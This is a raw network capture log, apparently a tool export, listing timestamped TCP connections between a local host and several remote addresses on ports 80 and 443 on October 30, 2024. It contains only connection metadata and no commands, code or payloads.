Oct 30, 2024 04:34:41.344429016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.344454050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.344466925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.344495058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.344511986 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.344763994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.344775915 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.344793081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.344815969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.344846964 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.361634970 CET	443	51036	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.361747980 CET	443	51036	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.361844063 CET	51036	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.361962080 CET	51036	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.361975908 CET	443	51036	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.361984968 CET	51036	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.361989975 CET	443	51036	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.364800930 CET	51051	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.364829063 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.365019083 CET	51051	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.365209103 CET	51051	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.365217924 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.384198904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.384244919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.384255886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.384267092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.384303093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.384303093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.432008028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.432018042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.432081938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.438739061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.438764095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.438774109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.438785076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.438796043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.438796997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.438811064 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.438827991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.438869953 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.439165115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439207077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439218044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439270020 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.439428091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439471006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439479113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.439486027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439502954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439529896 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.439551115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.439829111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439872980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439882040 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.439883947 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.439922094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.440083027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.440148115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.440157890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.440174103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.440191031 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.466979027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467001915 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467014074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467050076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.467094898 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.467530966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467559099 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467597008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467607975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.467628002 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.467675924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467719078 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.467878103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467890024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467901945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.467938900 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.467963934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.468020916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.468076944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.468087912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.468125105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.507304907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.507340908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.507353067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.507416010 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.507586956 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562007904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562046051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562056065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562069893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562078953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562091112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562108040 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562108040 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562129021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562129021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562202930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562215090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562230110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562248945 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562268019 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562740088 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562783957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562796116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562808037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562819958 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562820911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.562841892 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.562858105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.563134909 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.563184023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.563189983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.563201904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.563229084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.563245058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.563268900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.563280106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.563296080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.563328981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.563344955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.563935995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.563946962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.563956976 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.563983917 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.563999891 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.590620041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.590634108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.590646029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.590687990 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.590722084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.590934038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.590975046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.590979099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.590986967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.591012955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.591029882 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.591056108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.591068983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.591094971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.591109991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.591180086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.591236115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.591273069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.591284037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.591320992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.630577087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.630597115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.630609035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.630634069 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.630676031 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.685260057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685326099 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685336113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685333967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.685353041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685373068 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685374022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.685386896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685400009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.685414076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.685432911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.685769081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685792923 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685803890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685837984 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.685873985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.685880899 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.685950994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.686114073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686192036 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686203957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686243057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.686243057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.686268091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686280966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686306953 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.686336040 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.686656952 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686712980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686724901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686724901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.686752081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.686772108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.686795950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686808109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.686842918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.687220097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.687252998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.687263966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.687274933 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.687304020 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.697599888 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.698214054 CET	51039	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.698240995 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.699414015 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.702508926 CET	51039	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.702703953 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.707417011 CET	51039	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.713754892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.713779926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.713790894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.713845968 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.713901997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.714065075 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714092016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714102030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714118004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.714138031 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.714202881 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714242935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.714262009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714273930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714310884 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.714448929 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714499950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714500904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.714541912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.714615107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714626074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.714678049 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.724760056 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.725019932 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.725044012 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.726119995 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.726180077 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.727147102 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.727215052 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.727315903 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.727323055 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.753854036 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.753874063 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.753886938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.753914118 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.753957987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.755327940 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.808866978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.808903933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.808928967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.808943987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.808949947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.808969021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.808969021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.808985949 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809001923 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809017897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809020042 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809039116 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809052944 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809222937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809247971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809262991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809274912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809292078 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809302092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809458971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809510946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809542894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809561014 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809600115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809609890 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809618950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809634924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809650898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.809676886 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.809710026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.810204029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.810240984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.810255051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.810256958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.810270071 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.810273886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.810292006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.810297012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.810307026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.810323954 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837100029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837117910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837132931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837146044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837158918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837196112 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837449074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837496996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837507010 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837510109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837537050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837568998 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837589025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837605000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837645054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837719917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837759972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837805033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837852001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837879896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.837918043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.837963104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.838001013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.877123117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.877142906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.877160072 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.877187967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.877232075 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.891896963 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.895134926 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.895452976 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.895473003 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.895497084 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.895528078 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.895740986 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.895761967 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.895780087 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.895793915 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.896111965 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.896441936 CET	51043	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.896455050 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.897013903 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.897077084 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.897175074 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.897233009 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.897252083 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.897283077 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.897924900 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.898082972 CET	51043	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.898297071 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.898363113 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.898389101 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.898513079 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.898540974 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.898613930 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.898981094 CET	51043	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.899116039 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.899305105 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.899323940 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.899424076 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.899434090 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.899452925 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.899460077 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.899627924 CET	51043	443	192.168.2.6	23.55.178.210
